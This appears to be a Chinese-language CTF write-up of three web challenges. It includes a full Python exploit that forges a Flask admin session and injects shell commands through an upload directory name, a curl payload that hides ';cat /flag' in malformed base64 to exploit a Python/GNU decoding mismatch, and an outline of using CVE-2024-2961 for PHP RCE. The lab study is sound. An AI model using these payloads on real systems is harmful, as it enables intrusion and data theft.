unzip
这个题flag名是随机的,一般的zip相关的文件读取就没办法用,但是这个题目中也给了很清楚的进攻路线:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
# 已知的secret key
app.secret_key = os.environ.get("FLASK_SECRET_KEY", "test_key")
@app.route("/upload", methods=["GET", "POST"])
def upload():
# 如果role是admin可以自定义上传的文件夹名
role = session["role"]
if role == "admin":
dirname = request.form.get("dirname") or str(uuid.uuid4())
# 文件夹名可以做到命令注入
target_dir = os.path.join(UPLOAD_FOLDER, dirname)
os.makedirs(target_dir, exist_ok=True)
zip_path = os.path.join(target_dir, "upload.zip")
file.save(zip_path)
try:
os.system(f"unzip -o {zip_path} -d {target_dir}")
|
那就是用题目已知的secret key伪装成admin,进行命令注入,脚本如下:
参考脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
|
import requests
import io
import zipfile
import flask
from flask.sessions import SecureCookieSessionInterface
TARGET_URL = "http://127.0.0.1:5000"
SECRET_KEY = "test"
def generate_admin_cookie():
"""生成伪造的 Admin Session"""
app = flask.Flask(__name__)
app.secret_key = SECRET_KEY
session_interface = SecureCookieSessionInterface()
serializer = session_interface.get_signing_serializer(app)
# 构造 Admin 身份
session_payload = {"username": "hacker", "role": "admin"}
# 签名 Cookie
cookie_val = serializer.dumps(session_payload)
return cookie_val
def create_dummy_zip():
"""在内存中创建一个合法的空 ZIP 文件"""
b = io.BytesIO()
with zipfile.ZipFile(b, 'w') as zf:
zf.writestr('test.txt', 'hello')
b.seek(0)
return b
def exploit():
# 1. 获取伪造的 Admin Cookie
session_cookie = generate_admin_cookie()
print(f"[*] 伪造 Cookie: {session_cookie[:20]}...")
cookies = {"session": session_cookie}
# 2. 构造 Payload
exploit_dir_name = "hack; mkdir -p /app/uploads/hack; cat /flag* > /app/uploads/hack/flag.txt"
print("[*] 正在发送 Payload...")
# 3. 发送 POST 请求 (相当于上传文件)
files = {
'file': ('exploit.zip', create_dummy_zip(), 'application/zip')
}
data = {
'dirname': exploit_dir_name
}
try:
res = requests.post(
f"{TARGET_URL}/upload",
cookies=cookies,
files=files,
data=data,
timeout=5
)
except Exception as e:
print(f"[-] 上传请求异常 (可能是命令执行导致的超时,属正常现象): {e}")
# 4. 尝试下载 Flag
print("[*] 正在尝试下载 Flag...")
flag_url = f"{TARGET_URL}/download/hack/flag.txt"
try:
res = requests.get(flag_url, cookies=cookies)
if res.status_code == 200:
print("\n" + "="*20 + " SUCCESS " + "="*20)
print(f"Flag 成功获取: \n{res.text.strip()}")
print("="*49)
else:
print(f"[-] 获取失败,状态码: {res.status_code}")
print(f"[-] 响应内容: {res.text[:100]}")
except Exception as e:
print(f"[-] 下载请求失败: {e}")
if __name__ == "__main__":
exploit()
|
ping
搜索能力有待提升
这个题目写了一个非常饱和的防御,相当于告诉你别看这里了,而且饶了一大圈逻辑就是为了用个base64,检查的是py解码版的ip,执行的是shell解码的版本。第一次这么觉得ctf比赛就是为了一碟醋包的饺子,感觉从认证层面变强了一点点🤏
之后就是考验搜索能力了,因为这个性质挺隐蔽的,这次依赖ai完全不行,一下就暴露出一直以来ai的痛点了。
回到这个题,一开始想的这种东西解析差异也就只能在空格和换行的处理上,比如py解析出两行但是只读取第一行,shell可以直接执行两行的命令,感觉linux为这种文本细节的处理还是做了很多文章的,sh也有这方面的文章,(实际上这个题目和sh没什么关系)
,当时搞了半天都不行,直接google也完全没线索,ai也胡言乱语,折腾了半天最后就是去看官方文档了
gnu的文档和–help写的东西差不多,但是py文档中提到了一个严格模式,跟着他走会发现他对有效base64的定义
严格模式不包含冗余数据那默认模式就包含
1
2
3
|
>>> import base64
>>> base64.b64decode('MQ==O2xzCg==')
b'1'
|
结果发现这个包含的意思是不打理他,然后发现gnu可以
1
2
|
echo 'MQ==O2xzCg==' | base64 -d
1;ls
|
这谁想的到呀
1
2
3
|
curl -X POST http://127.0.0.1:5000/ping \
-H "Content-Type: application/json" \
-d '{"ip_base64": "MC4wLjAuMA==O2NhdCAvZmxhZw=="}'
|
gavatar
ai把我养的这么好导致我经常会因为我的代码能力和搜索能力而焦虑
题目里面有很多作者的堵死getshell的小巧思,但是我给ai代码之后,他只从rce和
$image = @file_get_contents($url);
就直接给我锁定到了一个cve,感觉太强了
因为专门给了一个下载网上图片的通道,所以还是比较容易联想到
可以用php伪协议读取普通文件的,但flag有权限要求,所以要找到升级成rce的方法
然后ai就直接把CVE-2024-2961扔给我了,这个东西是PWN的
我去读了一下这个博客大概了解到说是,使用了php伪协议在转码时会调用的底层库,它里面在转换的时候没有判断剩余的很缓存够不够用,而特殊字符在转换的时候会一次带进去3个字符导致溢出,通过读取/usr/lib/x86_64-linux-gnu/libc.so.6和 /proc/self/maps里面的信息计算出怎么能刚好覆盖掉一个free的工具,让他可以执行任意命令,在这个题目里面,你可以让他把/readflag的结果重定向到随便一个地方,之后自己去读。
但实际上这个东西别人有现呈的exp项目的,让ai改一改这个代码就能美美拿flag,毕竟不是我学习的领域,我也没特别深入学习